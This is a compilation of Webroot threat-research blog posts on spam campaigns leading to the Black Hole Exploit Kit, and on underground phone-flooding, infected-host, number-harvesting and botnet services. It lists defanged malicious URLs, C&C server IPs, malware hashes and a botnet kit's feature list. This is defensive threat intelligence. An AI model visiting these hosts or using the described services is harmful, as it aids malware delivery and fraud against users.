bc1883b07b47423bd30645e54db4775c MD5: e6f081d2c5a3608fad9b2294f1cb6762

What’s special about the second C&C phone back IP (**185.4.227.76**) is that it was used in **another Facebook themed malware campaign back in December, 2012** , indicating that this cybercriminal/group of cybercriminals are actively impersonating Facebook Inc. for malicious and fraudulent purposes.

If you catch a Facebook impersonating email in the wild, please forward it to **phish@fb.com** to notify Facebook of the attack.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised IRS 'Income Tax Refund Turned Down' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Its tax season and cybercriminals are mass mailing tens of thousands of **IRS (Internal Revenue Service)** themed emails in an attempt to trick users into thinking that their income tax refund has been “turned down”. Once users click on any of the links found in the malicious emails, they’re automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs participating in the campaign: *hxxp://www.ordinarycoder.com//wp-content/themes/trulyminimal/includes/framework/plugins/rjtra_irs.html hxxp://troutkinglures.com/store-front/wp-content/themes/mantra/uploads/rjtra_irs.html hxxp://www.romanfirnkranz.com//wp-content/themes/trulyminimal/includes/framework/plugins/rjtra_irs.html hxxp://ichetblog.net/wp-content/themes/mantra/uploads/rjtra_irs.html*

Sample client-side exploits serving URL: *hxxp://micropowerboating.net/detects/pending_details.php*

Sample malicious payload dropping URL: *hxxp://micropowerboating.net/detects/pending_details.php?nf=1f:32:31:1l:2w&ee=2v:1j:1m:2v:1g:1m:1l:33:1g:2v&l=1f&zf=e&xx=w*

Malicious domain name reconnaissance: **micropowerboating.net** – 175.121.229.209; 198.144.191.50 – Email: dooronemars@aol.com
Name Server: **NS1.POOPHANAM.NET** – 31.170.106.17
Name Server: **NS2.POOPHANAM.NET** – 65.135.199.21

The following malicious domains also respond to the same IPs (175.121.229.209; 198.144.191.50) and are part of the campaign's infrastructure: madcambodia.net – 175.121.229.209
micropowerboating.net – 175.121.229.209
dressaytam.net – 175.121.229.209
acctnmrxm.net – 175.121.229.209
capeinn.net – 175.121.229.209
albaperu.net – 175.121.229.209
live-satellite-view.net – 175.121.229.209

morepowetradersta.com – 198.144.191.50
asistyapipressta.com – 198.144.191.50
uminteraktifcozumler.com – 198.144.191.50
rebelldagsanet.com – 198.144.191.50
madcambodia.net – 198.144.191.50
micropowerboating.net – 198.144.191.50
acctnmrxm.net – 198.144.191.50
capeinn.net – 198.144.191.50
albaperu.net – 198.144.191.50
live-satellite-view.net – 198.144.191.50

Although the initial client-side exploits serving domain used in the campaign (**micropowerboating.net**) was down when we attempted to reproduce its malicious payload, we managed to reproduce the malicious payload for a different domain parked at the same IP (**175.121.229.209**), namely, **madcambodia.net** .

Detection rate for the dropped malware:
madcambodia.net – 175.121.229.209 – MD5: 2da28ae0df7a90ce89c7c43878927a9f – detected by 23 out of 45 antivirus scanners as Trojan-Spy.Win32.Zbot.ivkf.

Upon execution, the sample created the following files on the affected hosts: *C:Documents and Settings<USER>Application DataYdukcfuonar.exe*
C:DOCUME~1<USER>~1LOCALS~1Temptmp53f9eac3.bat

Set the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftEqini289bbd03*

As well as the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-*

61FCBA8C42EE} Global{2E56E149-137B-30EA-0508-B06D3016937F} Global{2E56E149-137B-30EA-7109-B06D4417937F} Global{2E56E149-137B-30EA-490A-B06D7C14937F} Global{2E56E149-137B-30EA-610A-B06D5414937F} Global{2E56E149-137B-30EA-8D0A-B06DB814937F} Global{2E56E149-137B-30EA-990A-B06DAC14937F} Global{2E56E149-137B-30EA-350B-B06D0015937F} Global{2E56E149-137B-30EA-610B-B06D5415937F} Global{2E56E149-137B-30EA-B90B-B06D8C15937F} Global{2E56E149-137B-30EA-150C-B06D2012937F} Global{2E56E149-137B-30EA-4D0C-B06D7812937F} Global{2E56E149-137B-30EA-710C-B06D4412937F} Global{2E56E149-137B-30EA-B50D-B06D8013937F} Global{2E56E149-137B-30EA-2D0E-B06D1810937F} Global{2E56E149-137B-30EA-650E-B06D5010937F} Global{2E56E149-137B-30EA-7D08-B06D4816937F} Global{2E56E149-137B-30EA-050C-B06D3012937F} Global{2E56E149-137B-30EA-150D-B06D2013937F} Global{2E56E149-137B-30EA-DD0E-B06DE810937F} Global{2E56E149-137B-30EA-750F-B06D4011937F} Global{2E56E149-137B-30EA-A10B-B06D9415937F}

Once executed, the sample also phones back to the following C&C (command and control) servers: *94.68.61.135:14511 99.76.3.38:11350*

We also got another MD5 phoning back to the same IP, **MD5: c308f5c888fd97ae20eee1344f890bdb** – detected by 14 out of 45 antivirus scanners as PWS:Win32/Zbot.gen!AL.

What's also worth noting is the fact that we've already seen one of the domains parked at the same IPs (**morepowetradersta.com**) as the original client-side exploits serving domain used in the campaign in the following analyses:

Fake 'FedEx Online Billing – Invoice Prepared to be Paid' themed emails lead to Black Hole Exploit Kit **Fake LinkedIn 'Invitation Notifications' themed emails lead to client-side exploits and malware**

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising two separate campaigns, impersonating **Facebook Inc.** , in an attempt to trick its users into thinking that their Facebook account has been disabled. What these two campaigns have in common is the fact that the client-side exploits serving domains are both parked on the same IP. Once users click on any of the links found in the malicious emails, they're exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised campaign:

Sample subjects used in the campaign: *"Someone has left a comment on your status update" "Most recent events on Facebook"*

Sample compromised sites used in the campaign: *hxxp://findlaterfinefoods.com/wp-content/plugins/akismet/fb_resume.html hxxp://belpress.org/wp-content/plugins/akismet/fb_resume.html hxxp://floworldonline.com/wp-content/plugins/akismet/fb_resume.html hxxp://manfraca.com/wp-content/plugins/akismet/fb_resume.html hxxp://kenko-info.com/wp-content/plugins/akismet/fb_resume.html hxxp://elegantparkdresses.com/wp-content/plugins/fb_resume.html hxxp://fiberglascu.com/wp-content/plugins/akismet/fb_resume.html hxxp://handbags-plus.com/wp-content/plugins/akismet/fb_resume.html*

Sample client-side exploits serving URLs: *hxxp://gonita.net/detects/sign_on_to_resume.php hxxp://able-*

stock.net/detects/sign_on_to_resume.php
hxxp://capeinn.net/detects/win_units.php

Sample malicious payload dropping URLs: *hxxp://capeinn.net/detects/win_units.php?ejg=2w:1n:1o:1i:1f&fov=35:3i:3g&pyvc=1m:1f:30:1i:1j:1l:2v:1h:1m:1k:1p:1p:1j:1k:32:2w:1k:1n:1k:1g:1m:1l&llshxtat=1m:1d:1g:1d:1f:1d:1f*
hxxp://capeinn.net/detects/win_units.php?wjtp=1m:33:33:1i:1n&ssdxmx=2w:3e:31&dhmf=1m:1f:30:1i:1j:1l:2v:1h:1m:1k&bhs=1k:1d:1g:1d:1f:1d:1f
hxxp://capeinn.net/detects/win_units.php?nntlw=1l:2w:1n:2v:1i&cnwxw=39:31:2w&quc=1m:1f:30:1i:1j:1l:2v:1h:1m:1k&gqgb=1m:1d:1f:1d:1f:1d:1f
hxxp://capeinn.net/detects/win_units.php?sf=1i:1f:32:33:2v&fe=1m:1f:30:1i:1j:1l:2v:1h:1m:1k&s=1f&ma=q&wz=u

Malicious domain names reconnaissance: gonita.net – 222.238.109.66 – Email: lockwr@rocketmail.com
able-stock.net – 222.238.109.66
capeinn.net – 222.238.109.66; 198.144.191.50 – Email: softonlines@yahoo.com

Name servers used in the campaign: Name Server: **NS1.HTTP-PAGE.NET** Name Server: **NS2.HTTP-PAGE.NET**

We've already seen the same name servers used in the following malicious campaigns:

Fake 'FedEx Online Billing – Invoice Prepared to be Paid' themed emails lead to Black Hole Exploit Kit Fake LinkedIn 'Invitation Notifications' themed emails lead to client-side exploits and malware Bogus 'Your Paypal Transaction Confirmation' themed emails lead to Black Hole Exploit Kit

The following malicious domains are also using the same name servers:
ocean-movie.net – Email: lockwr@rocketmail.com
vespaboise.net – Email: blackchromedesign2@ymail.com
duriginal.net – Email: blackchromedesign2@ymail.com
shininghill.net – Email: fxfoto@hotmail.com
euronotedetector.net – Email: blackchromedesign2@ymail.com

Responding to 222.238.109.66 are the following malicious/fraudulent domains: *able-stock.net africanbeat.net alphabeticalwin.com asistyapipressta.com asmncm.net asmncm.org bestwesttest.com blogfloeslive.com blogfloeslive.net briefingslegitimizes.biz capeinn.net cocolspottersqwery.com ct-goods.com discount-on-hotels.net duriginal.net ehadnedrlop.com ensconcedattractively.biz euronotedetector.net lloydstsb-offshore.biz lloydstsb-offshorem.org lloytdsb-offshore.biz masterseoprodnew.com mesagemeans.com morepowetradersta.com paralertamastaercet.com postofficenewsas.com rebelldagsanet.com seoseoonwe.com splatwetts.com terkamerenbos.net uminteraktifcozumler.com utl-premium.com*

Responding to 198.144.191.50 are also the following malicious domains: *starsoftgroup.net*

We've already seen and profiled the same domain used in the following malicious campaign:

'Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit

Detection rate for the malicious PDF payload: **MD5: e415fbe2bad61491b4314618ae57e2c5** – detected by 25 out of 46 antivirus scanners as Exploit:Win32/Pdfjsc.AEW
MD5: 285b4186a435d80b503da88c922ea214 – detected by 26 out of 44 antivirus scanners as HEUR:Exploit.Script.Generic
MD5: 279bb4ab76ab18c2046c9288afac2e21 – detected by 26 out of 46 antivirus scanners as JS:Pdfka-gen [Expl]

Upon successful client-side exploitation, the campaign drops **MD5: a2fe9b8154b28c8b7b7f898924276b8c** – detected by 23 out of 46 antivirus scanners as Worm:Win32/Cridex.E.

Upon execution, the sample creates the following process on the affected hosts: *%AppData%kb00121600.exe*

It then creates the following Mutexes: *LocalXMM000003F8 LocalXMRFB119394 LocalXMM000005E4 LocalXMM0000009C LocalXMM000000C8*

The following Registry Keys: *REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows*

NTS9CC20790 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTCBA6D3F36

Once executed, the sample also phones back to the following C&C (command and control servers): *hxxp://88.119.156.20:8080/AJtw/UCyqrDAA/Ud+asDAA/*
hxxp://173.201.177.77/J9/vp//EGa+AAAAAA/2MB9vCAAAA/
hxxp://85.94.66.2/J9/vp//EGa+AAAAAA/2MB9vCAAAA/
hxxp://203.114.112.156/asp/intro.php

We've already seen the same pseudo-randm C&C communication characters (**EGa+AAAAAA**), as well as the same C&C server (**173.201.177.77**) in the following previously profiled campaigns:

'Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit 'Batch Payment File Declined' EFTPS themed emails lead to Black Hole Exploit Kit Fake 'ADP Speedy Notifications' lead to client-side exploits and malware

The following pseudo-random C&C communication characters (**UCyqrDAA**) have also been profiled in related analyses:

'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit 'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit Fake Intuit 'Direct Deposit Service Informer' themed emails lead to Black Hole Exploit Kit Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits

If you catch a Facebook impersonating email in the wild, please forward it to **phish@fb.com** to notify Facebook of the attack.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Phone Ring Flooding' Attacks As A Service On The Rise | Webroot

facebook linkedin twitter

Throughout the past year, we observed an increase in the availability of malicious (**DIY**) tools and services that were once exclusively targeting sophisticated cybercriminals, often operating within invite-only cybercrime-friendly Web communities. This development is a clear indication that the business models behind these tools and services cannot scale, and in order to ensure a sustainable revenue stream, the cybercriminals behind them need to change their tactics – which is exactly what we're seeing them do.

By starting to advertise these very same malicious (**DIY**) tools and services on publicly accessible forums, they're proving that they're willing to sacrifice a certain degree of OPSEC (Operational Security) for the sake of growing their business model and attracting new customers. Just like the **managed SMS flooding as a service concept** , which we previously profiled and discussed, there's yet another tactic in use by cybercriminals who want to assist fellow cybercriminals in their fraudulent "cash-out schemes' – and it's called '*phone ring flooding as a service'* .

In this post, I'll profile a popular, publicly advertised service, which according to its Web site, has been in operation for 3 years and has had over a thousand customers.

More details:

Sample screenshot of the logo of the 'phone ring flooding' service:

Sample screenshot of the Web site of the 'phone ring flooding' service:

Description of the underground service: *Why is it necessary to use the services of the service? 1) You can order a test flood for 5 minutes for free 2) We guarantee that the phone will be unavailable during the time you paid for 3) We have a flexible system of* *discounts and installment payment available 4) Calls are made with a lot of numbers that start with different numbers. Because of this unrealistic add all the numbers in the black list by specifying a range! 5) If you order more than one number to flood you get to the next number 25% discount 6) Even if the numbers will be added to a blacklist. Phone of the victim will still be busy. 7) The first 10 customers ordering a flood of 1 week 15% discount*

The cost of services performed under the price-list: From 1 hour to 1 day – 3 USD per hour 1 number From 1 day to 1 week – 40 USD per night 1 number From 1 week to 2 weeks – 30 USD per night 1 number From 2 weeks to 1 month – 25 USD per night 1 number 1 month – the price is negotiated individually

Often pitched as a service for "taking care of your competitor's phone lines", just like the **managed SMS flooding service** , it has a much more dangerous and pragmatic applicability in the world of cybercrime, namely DoS-ing (Denial of Service) the phone of a bank's/payment service's customer in an attempt to prevent their financial institution of choice from reaching them regarding a suspicious real-time withdrawal/transaction that took place.

Not surprisingly, these services often work in combination with **'social engineering on demand' also known as "fraud assistants as a service"** type of underground market propositions, consisting of trained staff of fraud assistants speaking multiple languages, allowing a cybercriminal to choose whether they want to "rent" a male or a female voice in order to socially engineer a user/their bank or payment processing service.

We'll continue monitoring the development of these services, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New underground service offers access to thousands of malware-infected hosts - Webroot Blog

facebook linkedin twitter

Thanks to the success of multiple botnet aggregating malicious campaigns launched in the wild, cybercriminals are launching malware-infected-hosts — also known as loads — as a service type of underground market propositions, in an attempt to monetize the botnet's infected population by selling "partitioned" access to it.

How much does it cost to buy a thousand US-based malware infected hosts? What about hosts based in the European Union? Let's find out. In this post, I'll profile a newly launched underground service offering access to thousands of malware-infected hosts to virtually anyone who's willing to pay the price.

More details:

Sample screenshot of the advertised underground service:

The price for a thousand US-based hosts is $200, the price for a thousand EU-based hosts varies between $60/$120, and the price for a thousand international mix type of hosts is $20. How are cybercriminals coming up with these pricing schemes in the first place? Pretty simple, as it all has to do with high purchasing power and long-term value of a malware-infected host.

Based on the pricing scheme used in this underground market proposition, the cybercriminals behind the service assume that **a US-based user would have a higher online purchasing power** , compared to an EU/Internationally based user, hence, the higher price. What's also worth noting is that this isn't the first time they've reached the same conclusion and naturally increased the price for US-based hosts. On the majority of occasions, every service offering access to malware-infected hosts would put the US on the top of its price list, of course, if we are to exclude novice market entrants who will do everything to undercut professional cybercriminals and purposely lower the price, or take advantage of price discrimination schemes.

A logical question emerges in the context of these services – what would a potential customer do with all of these malware-infected hosts? It entirely depends on the customer in question. For instance, novice cybercriminals looking for efficient ways to scale their malicious operations would buy access to these hosts and utilize them for launching related malicious and fraudulent campaigns.

Other cybercriminals, whose botnets' infected population is no longer possessing clean IP reputation, and whose campaigns aren't achieving the necessary results, would buy access to malware-infected hosts that are part of another botnet and **use this "partitioned" access to further disseminate their very own malware variants** . It's not uncommon for the security industry to often come across these inter-connections between different malware families. And although they may sometimes be the result of a direct/known purchase of "partitioned" access, there's always the probability that cybercriminal A would never known that cybercriminal B is spreading his malware variants through his service, due to lack of investment in time and resources to monitor the post-purchase behavior/activities of the customers.

We'll continue monitoring the development of the service, and post updates as new features become available.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spammers Release DIY Phone Number Harvesting Tool | Webroot

facebook linkedin twitter

Need a good reason not to connect to the public Web with your phone? Wonder where all that **SMS spam** is coming from? Keep reading.

Mobile phone spammers have recently released a new version of a well known phone number harvesting tool, whose main objective is to crawl the public Web and index mobile phone numbers, which will later be used for various malicious and fraudulent purposes.

More details:

Sample screenshot of the DIY phone number harvesting tool:

Second screenshot of the DIY phone number harvesting tool:

The second screenshot displays the results of the tool in the following order: unique number of the harvested phone number, the actual phone number, name of the owner, logo of the mobile operator, name of the mobile operator, date and country (in this case, Russia).

Third screenshot of the DIY phone harvesting tool:

The third screenshot offers a real-time perspective of the logging function of the application, including the actual processed URLs.

Fourth screenshot of the DIY phone number harvesting tool:

Users of the tool can choose which country they want to target. In this case, it’s either Russia or Ukraine which was introduced in the latest version of the tool.

Fifth screenshot of the DIY phone number harvesting tool:

Cybercriminals and spammers are not strangers to the concept of market segmentation. Just like true marketers, the developer of the tool has included the option to choose a specific region within the available countries, with the idea to assist in the inevitable malicious and fraudulent activity that will result from this phone number harvesting activity.

Key features of the tool include:

Automatic recognition of Russian and Ukrainian mobile phone providers
Indexing based on a region and city for both Russia and Ukraine
Multi-threaded software allowing up to 100 “indexing streams”
Option to collect “all numbers”, or numbers belonging to a particular mobile provider only

What can Russian, Ukrainian or international users in general do to prevent this form of abuse?

For starters, check whether the Web site that requires your phone number is actually listing it on the Web. Although the tool doesn’t have support for internal Web site — through login+password authorization — indexing, future versions are prone to include such a feature, so ensure that the Web site where you’re posting your phone number has some sort of protection against such automatic harvesting. Think beyond CAPTCHAs, as CAPTCHAs are virtually irrelevant to today’s modern cybercriminals. The truly paranoid can always get a second phone number, and use it exclusively on the Web.

We’ll continue monitoring the development of the tool, and post updates as soon as new versions get released.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New DIY HTTP-based botnet tool spotted in the wild - Webroot Blog

facebook linkedin twitter

What are cybercrime-facilitating programmers up to when **they're not busy** fulfilling **custom orders** ? Releasing **DIY (do-it-yourself)** user-friendly tools allowing anyone an easy entry into the world of cybercrime, and securing their revenue streams thanks to the active advertisements of these tools across closed cybercrime-friendly Web communities.

In this post, I'll profile a recently advertised DIY HTTP-based botnet tool, that allows virtually anyone to operate their own botnet.

More details:

Sample login page of the DIY HTTP-based botnet tool:

Sample statistics page:

As you can see in the attached screenshot, the botnet master has already managed to infect 232 hosts, 130 of which are based in Spain and are running Windows XP.

Sample commands list:

Sample commands list, part two:

The bot has a built-in **pharming feature** , a bit of an outdated approach for stealing accounting data compared to modern crimeware releases, but still highly effective on hosts where the user isn't aware of how the process actually works.

Sample settings page:

Actual description of the DIY HTTP-based botnet tool:

Coded in Visual Basic Script 6.0

Connect:

** – Domain 4 connections * – Mutex Anti double execution * – Access Key Exe (Server with password) * – Antianalizadores (10-20 Pc locked, USA, ROMANIA, CHINA, GERMANY, ETC) * –*

*Description of the server for updates (Register exe version) * – Melt function * – Connection time 120 seconds (more than 1GB RAM VPS-10k)*

——————————————— ————————-

Build options:

** – Download and run hidden mode * – Upgrading Server (Need key exe) 'download the new server.exe eliminating the current to be replaced by the new volk or some other botnet, the volk will be removed from windows start. * – Remove Bot*

*Explorer options: * – Navigate Website (Visible) 'bots visit a url with the default explorer * – Visit the website (Hidden) 'bots visit a url in hidden mode*

*Banking Options: * – Hosts Pharming (win32) 'Bots are modified for visiting fake web ip / domain*

*WebPanel Options: * – Command (Run Command) 'is run by Bots, Shuffle, Country, Builder, Systema Operating or all bots * – Setting User: Option to change password webpanel add user permissions, manager or just modding * – BOTLIST: Displays the name of Bot, IP, PAIS, OPERATING SYSTEM, BUILD, AND LAST CONNECTION INFO EXE. * – Statistics: Displays total bots, bots online, Offline Bots, Bots concect.*

We'll continue monitoring the development of this emerging ecosystem trend, and post updates as soon as new developments emerge.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Kindle owners, watch what you click on!

Cybercriminals are currently attempting to trick Kindle owners into thinking that they've received a receipt from an E-book purchase from **Amazon.com** . In reality, when users click on any of the links found in the malicious emails, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://fatlossfactorscams.com/wp-content/plugins/tell-a-friend/orderedlistamazon.html hxxp://v-mishchenko.com/wp-content/plugins/tell-a-friend/orderedlistamazon.html hxxp://pasadenacaregiver.com/wp-content/plugins/tell-a-friend/orderedlistamazon.html*

Sample client-side exploits serving URL: *hxxp://starsoftgroup.net/detects/weeks_movie_whether.php*

Sample malicious payload dropping URLs: *hxxp://starsoftgroup.net/detects/weeks_movie_whether.php?jf=31:2v:33:1o:1m&le=2w:2v:1o:1g:1m:31:1l:1k:30:1k&s=1f&tf=s&kv=r hxxp://starsoftgroup.net/detects/weeks_movie_whether.php?uf=2v:1i:1h:31:1o&he=2w:2v:1o:1g:1m:31:1l:1k:30:1k&f=1f&kr=t&bp=y*

Malicious domain name reconnaissance: starsoftgroup.net – 175.121.229.209; 198.144.191.50 – Email: wondermitch@hotmail.com
Name Server: **NS1.HTTP-PAGE.NET** Name Server: **NS2.HTTP-PAGE.NET**

We've already seen the same name servers used in the following previously profiled campaigns, indicating that they've been launched by the same cybercriminals:

Fake 'FedEx Online Billing – Invoice Prepared to be Paid' themed emails lead to Black Hole Exploit Kit Fake LinkedIn 'Invitation Notifications' themed emails lead to client-side exploits and malware Bogus 'Your Paypal Transaction Confirmation' themed emails lead to Black Hole Exploit Kit

Upon successful client-side exploitation, the campaign drops **MD5: 13d23f4c1eb1d4d3841e2de50b1948cc** – detected by 7 out of 46 antivirus scanners as UDS:DangerousObject.Multi.Generic.

Once executed, the sample creates the following processes on the affected hosts: *C:WINDOWSsystem32cmd.exe" /c "C:DOCUME~1<USER>~1LOCALS~1Tempexp1.tmp.bat C:Documents and Settings<USER>Application DataKB00927107.exe*

The following Registry Keys: *REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTS9CC20790 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTCBA6D3F36*

As well as the following Mutexes: *LocalXMM000001C4 LocalXMI000001C4 LocalXMM00000380 LocalXMI00000380*

Upon execution, the sample also phones back to the following C&C servers:
hxxp://195.191.22.90:8080/DPNilBA/ue1elBAAAA/tISHAAAAA/
hxxp://37.122.209.102:8080/DPNilBA/ue1elBAAAA/tISHAAAAA/
hxxp://217.65.100.41:8080/DPNilBA/ue1elBAAAA/tISHAAAAA/
hxxp://173.201.177.77/J9/vp//EGa+AAAAAA/2MB9vCAAAA/
hxxp://210.56.23.100/J9/vp//EGa+AAAAAA/2MB9vCAAAA/
hxxp://213.214.74.5/J9/vp//EGa+AAAAAA/2MB9vCAAAA/
hxxp://180.235.150.72/J9/vp//EGa+AAAAAA/2MB9vCAAAA/

We've already seen the same pseudo-random C&C communication characters (**DPNilBA**) used in the following campaigns:

Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit 'Batch Payment File Declined' EFTPS themed emails lead to Black Hole Exploit Kit 'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware Fake Intuit 'Direct Deposit Service Informer' themed emails lead to Black Hole Exploit Kit Spamvertised AICPA themed emails serve client-side exploits and malware

As well as the same C&C server IPs (**173.201.177.77; 210.56.23.100; 180.235.150.72**) in the following campaigns, indicating that they've been launched by the same malicious party:

'Batch Payment File Declined' EFTPS themed emails lead to Black Hole Exploit Kit Fake 'ADP Speedy Notifications' lead to client-side exploits and malware Spamvertised American Airlines themed emails lead to Black Hole exploit kit 'American Express Alert: Your Transaction is Aborted' themed emails serve client-side exploits and malware Bogus IRS 'Your tax return appeal is declined' themed emails lead to malware 'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake FedEx 'Tracking ID/Tracking Number' Emails Lead To Malware | Webroot

facebook linkedin twitter

On a daily basis, we intercept hundreds of thousands of fraudulent or malicious emails whose purpose is to either infect users with malicious software or turn them into victims of fraudulent schemes. About 99% of these campaigns rely on social engineering tactics, and in the cases where they don't include direct links to the actual malware, they direct users to the market leading **Black Hole Exploit Kit** .

In terms of volume and persistence, throughout January, 2013, a single malicious campaign impersonating **FedEx** topped our metrics data. What's so special about **this campaign** ? It's the fact that the digital fingerprint of one of the most recently introduced malware variants used in the campaign corresponds to the digital fingerprint of a malware-serving campaign that we've already profiled, indicating that they've been launched by the same cybercriminal/gang of cybercriminals.

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs part of the campaign: *hxxp://relax-legend.ba/ZXSZUSBLZG.php?receipt hxxp://stylephone.co.il/misc/teasers.php?receipt hxxp://voguepay.com/FEZDVUUCLG.php?receipt= hxxp://sunrisemedya.com/HAEJMKGUMT.php?receipt hxxp://sunseekerownersclub.com/OOLZRZQTIW.php?receipt hxxp://selimi-fugenabdichtungen.de/IYSZJVVIRA.php?receipt hxxp://sunseekerownersclub.com/OOLZRZQTIW.php?receipt hxxp://www.cursillodeorientacion.com/OLKIHLKYSB.php?receipt hxxp://www.diocesebatroun.org/UEKFWHOJPF.php?receipt hxxp://suarevista.com.br/QGQRXAOJLV.php?receipt hxxp://fundloan.info/AYKQRUYOSL.php?receipt hxxp://secretmobilemoneyprofits.com/SCTQOFXHVC.php?php=receipt hxxp://www.matwigley.co.uk/SOJAJDTLAX.php?*

php=receipt hxxp://rossiangelo.it/ALAGZUCWHV.php?receipt hxxp://tqm.com.ua/misc/teasers.php?receipt hxxp://metalphotosplus.com/PAUDSPBBXE.php?receipt hxxp://businesscoaching24.com/BWMIZNPQAT.php?receipt hxxp://www.bsf.org.pk/misc/teasers.php?get_receipt hxxp://ferz.kiev.ua/misc/teasers.php?get_receipt

Detection rate for the malware variants distributed over the past 24 hours: MD5: 980ffe6cee6ad5a197fbebdeeac9df57 – detected by 31 out of 46 antivirus scanners as Trojan-Downloader.Win32.Kuluoz.amg
MD5: bf061265407ea1f7c21fbf5f545c4c2b – detected by 6 out of 46 antivirus scanners as PAK_Generic.001
MD5: 6bb823d87f99da067e284935ca3a8b14 – detected by 36 out of 46 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B
MD5: 75db84cfb0e1932282433cdb113fb689 – detected by 29 out of 46 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

Deja vu! This is the same **MD5: 75db84cfb0e1932282433cdb113fb689** that we profiled in the “**Fake Booking.com ‘Credit Card was not Accepted’ themed emails lead to malware** ” analysis, indicating a (thankfully) low QA (Quality Assurance) applied on behalf of the cybercriminals launching these campaigns.

The campaign is ongoing, so watch what you click on! Webroot SecureAnywhere users are proactively protected from these threats with our comprehensive internet security solution.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake Booking.com 'Credit Card was not Accepted' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are mass mailing tens of thousands of emails, impersonating **Booking.com** , in an attempt to trick its users into thinking that their credit card was not accepted. Users are then urged to click on a fake "*Print Booking Details* " link, which leads them to the malware used in the campaign.

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised URLs:
hxxp://www.tularat.ru/misc/teasers.php
hxxp://www.kotmart.com.ua/misc/teasers.php
hxxp://www.paraguay.org.eg/misc/teasers.php
hxxp://www.kotmart.com.ua/misc/teasers.php
